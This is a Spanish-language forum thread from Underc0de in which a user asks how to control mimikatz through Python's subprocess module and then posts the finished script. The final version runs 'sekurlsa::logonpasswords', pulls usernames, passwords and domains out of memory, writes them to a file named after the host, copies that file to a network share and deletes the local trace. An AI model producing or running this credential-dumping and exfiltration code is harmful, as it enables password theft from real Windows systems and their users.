Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: underzero en Febrero 17, 2016, 01:53:17 PM

Título: [SOLUCIONADO] Ayuda con el módulo subprocess
Publicado por: underzero en Febrero 17, 2016, 01:53:17 PM
Buenas tardes,

Llevo ya tiempo intentando entender el tema de subprocess.Popen y sus entradas y salidas. Quiero hacer un script para automatizar mimikatz.
Trato de abrir el proceso mimikatz como hijo así: process = subprocess.Popen('mimikatz', stdin=subprocess.PIPE, stdout=subprocess.PIPE) y parece que hace algo pero nada.

Si llamo al hijo así process = subprocess.Popen('mimikatz',stdin=subprocess.PIPE) se queda en bucle infinito con el prompt del mimikatz. Aunque le ponga un wait() no pasa de esa orden. 

Si lo pongo así process = subprocess.Popen('mimikatz').

La pregunta es: ¿Cómo llamo a un proceso hijo al cuál el padre envia y recibe los datos? es decir ¿Cómo interactuar con un proceso hijo?

Gracias y saludos.
Título: Re:Ayuda con el modulo subprocess
Publicado por: underzero en Febrero 18, 2016, 01:55:58 PM
Buenas tardes,

Sigo con mis pruebas. He conseguido enviar y recibir datos:

import os
import subprocess
from subprocess import Popen, PIPE

process = subprocess.Popen('mimikatz', stdin=subprocess.PIPE, stdout=subprocess.PIPE)
print "1"
process.stdin.write('sekurlsa::logonpasswords\n')
print "2"
salida = process.stdout.read()
print "3"
process.kill()
print "4"
print salida


Los número están para debug. El caso es que en salida = process.stdout.read() se queda detenida la ejecucón. Es decir, no pasa del dos. Pero si detengo mimkatz desde el admin de tareas continua con la ejecución e imprime los datos
Título: Re:Ayuda con el modulo subprocess
Publicado por: underzero en Febrero 19, 2016, 04:40:58 AM
Buenos días,

Tras muchas horas de prueba, voy consiguiendo algo.
import os
import subprocess
from subprocess import Popen, PIPE
import time

process = subprocess.Popen('mimikatz', stdin=PIPE, stdout=PIPE)
process.stdin.write('sekurlsa::logonpasswords\n')
time.sleep(1)
salida = process.stdout.readline()
while True:
if ('*' in salida) and ('Username' in salida or 'Password' in salida or 'Domain' in salida):
print salida.strip()
salida = process.stdout.readline()
process.kill()


Consigo sacar la información que quiero por pantalla pero al llegar a la última lectura del stdout se queda el proceso hijo esperando a algo y lo tengo que para con el keyboard. ¿Alguien sabria porque ocurre ésto?

Gracias y saludos.
Título: Re:Ayuda con el modulo subprocess
Publicado por: seth en Marzo 09, 2016, 06:50:33 PM
readline() lee hasta el proximo salto de linea (\n)
Si no hay uno, bloquea hasta que aparezca, necesitarias usar algo que no bloquee


Te dejo un par de links, no los probe pero responden a la misma pregunta
https://stackoverflow.com/questions/375427/non-blocking-read-on-a-subprocess-pipe-in-python
http://eyalarubas.com/python-subproc-nonblock.html
Título: Re:Ayuda con el modulo subprocess
Publicado por: underzero en Junio 16, 2016, 06:46:28 AM
Muchas gracias por la ayuda. Ya he conseguí lo que quería. Pego el código:

# -*- coding: UTF-8-*-

import os
import subprocess
from subprocess import Popen, PIPE
import time
import sys

process = subprocess.Popen('C:\\excepciones\\mimikatz', stdin=PIPE, stdout=PIPE)
process.stdin.write('sekurlsa::logonpasswords\n')
time.sleep(1)
con = sys.getsizeof(process.stdout)
p2 = subprocess.Popen('hostname', stdout=PIPE)
equipo = p2.stdout.read()
p2.kill()
equipo = equipo.strip() + '.txt'
ruta = 'C:\\excepciones\\' + equipo
repo = '\\\mies-054\logs\\'
foo = open(ruta, 'w')
for i in range(con):
salida = process.stdout.readline()
if ('*' in salida) and ('Username' in salida or 'Password' in salida or 'Domain' in salida):
foo.write(salida.strip())
foo.write('\n')
foo.close()
process.kill()
os.system('xcopy "%s" "%s"' % (ruta, repo))
os.system('erase "%s"' % (ruta))
sys.exit(0)


Lo que hace el script es invocar mimikatz pasando la orden a través de stdin y guarda los passwords en RAM en un txt con el hostname del equipo. Después mueve el txt a un recurso de red para chequearlo.

Pueden cerrar el tema, aunque creo que sería interesante moverlo a desarrollo de scripts en python.

Gracias y saludos.